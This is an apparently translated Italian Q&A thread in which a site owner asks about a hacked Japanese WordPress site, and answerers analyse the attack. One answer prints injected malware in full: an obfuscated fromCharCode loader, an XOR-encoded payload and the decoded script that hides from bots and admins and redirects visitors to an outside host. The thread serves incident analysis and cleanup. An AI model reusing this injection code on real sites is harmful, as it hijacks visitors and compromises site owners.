HTML interrotto e commenti inseriti nel sito web

8

Uno dei siti dei nostri clienti si è trasformato in uno stato non funzionante. La maggior parte del contenuto (che è in giapponese), si è trasformato in qualcosa del genere: 会 案 内 (che originariamente era: 会 社 案 内. Controllando il codice, non vi è alcun indizio che sia un problema di codifica, ma sembra me che qualcosa ha cambiato deliberatamente il contenuto.

Nella parte inferiore della pagina, mostra questi commenti (valori effettivi):

<!-- /* 15pJQhrPh3XJCUOiaQCa62html */ -->
<!-- F85FQXHZqA -->
<!-- /* 1uqjsQSyWVhmOHAEVa1i62html */ -->

Ho cercato quelle stringhe e sembra che altri siti mostrino gli stessi codici (pochi però). Tutti sembrano come hackerati, ma solo uno mostra i segni " ". Durante il ripristino del sito Web da un backup, posso confermare quei commenti dove non sono presenti.

Probabilmente questa domanda è correlata a questa: Pagina HTML hackerata - cosa c'è nel commento che segue il codice offuscato?

Tuttavia queste stringhe non sono codificate nello stesso modo e non è incluso JS né <b1> tag.

Non penso che sia un ramsomware in quanto non è tutto criptato, mi sembra più come un vandalismo attraverso l'iniezione. A proposito dei codici in fondo, potrebbe essere una sorta di ID, per vedere quali siti sono già stati "fatti".

Lo eseguo tramite alcuni siti online di controllo del malware e non ho mostrato nulla.

Qual è lo scopo di questo? Qualcuno qui sa che tipo di attacco è?

    
posta lepe 03.08.2016 - 05:46
fonte

3 risposte

11

Dopo aver controllato i siti web che contenevano tali commenti, ho scoperto che tutti loro sono siti Wordpress. 3 di questi contenevano un Javascript iniettato (nel nostro sito, tutto il javascript è rimosso dai post, quindi forse questo è il motivo per cui quel codice non è stato iniettato con successo). Il codice offuscato assomiglia a:

(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...

Dopo averlo decodificato, diventa:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

Dopo ulteriore decodifica:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

Quello che posso ottenere da quel codice è:

Non viene eseguito se un bot è l'agente utente (ad esempio google, yahoo ...) o se si sta eseguendo come admin / editor? (Non sono riuscito a trovare il cookie di wp-settings).

Dopo 20 secondi: configura un cookie con il nome "yYjra4PCc8kmBHess1ib" per il dominio attaccato, con valore "123" e memorizza nella memoria locale tale chiave con valore 1. (la chiave deve essere diversa per sito, per identificarla)

Dopodiché, reindirizzerà il tuo sito a: http://vyhub.com/css/css/

Questo è tutto.

Informazioni su "vyhub.com":

La prima pagina mostra: "Funziona ...!" È registrato su godaddy.com, ma non sono disponibili ulteriori informazioni. Il server si trova a Singapore. http://vyhub.com/css/css/ ti porta a http://loveo.com

Informazioni su "loveo.com":

È un sito di incontri situato e registrato negli Stati Uniti.

Quindi quello che vedo da questo, è che usano una vulnerabilità di Wordpress per iniettare un JS che reindirizzerà i visitatori su loveo.com.

Brutti affari ...

Problema di codifica:

Il problema con la codifica potrebbe essere correlato ad altri motivi: forse il codice che inietta il codice ha alterato intenzionalmente il contenuto originale (vandalismo) o involontariamente (non gestiscono molto bene l'unicode).

Azione eseguita:

I registri non hanno mostrato nulla di sospetto (finora), quindi eseguiamo alcuni controlli di sicurezza sul server e tutto sembra a posto. Dopo il recupero da un backup, abbiamo aggiornato wordpress (era leggermente obsoleto) + plugin e password modificate.

    
risposta data 03.08.2016 - 08:41
fonte
0

Ho trovato questo stesso identico script in quasi tutte le pagine del mio sito web. Credo che ciò che è accaduto sia stato compromesso dalle credenziali dell'account di un autore / autore e che l'hacker / bot abbia effettuato l'accesso al mio wordpress come questo utente, e ha aggiunto questo codice a ogni pagina e post sul mio sito.

Come l'ho scoperto:

  1. Ho esportato il mio database in un file .sql e ho eseguito una ricerca di testo per un blocco dello script. Oltre 8500 partite, apparentemente tutte nella tabella wp_posts.

  2. Ho esaminato la cronologia delle modifiche di ogni post / pagina e, all'improvviso, 3 mesi fa, ci sono state più di 30 modifiche da parte di un utente che non è stato con la mia azienda in 2 anni. Credo che la sua password sia stata rubata / compromessa.

Speriamo che questo aiuti qualcuno che sta cercando di capire come sono stati compromessi.

    
risposta data 12.10.2016 - 16:11
fonte
-2

sembra che tu debba controllare la tua codifica quando salvi la pagina html,

Penso che riguardi tutti i problemi di codifica e non di hacking,

non salvare la pagina html come codifica ANSI e salvarla come UNICODE,

quindi aggiungi questo meta tag all'intestazione della tua pagina html:

meta charset="UTF-8"

    
risposta data 03.08.2016 - 06:55
fonte

Leggi altre domande sui tag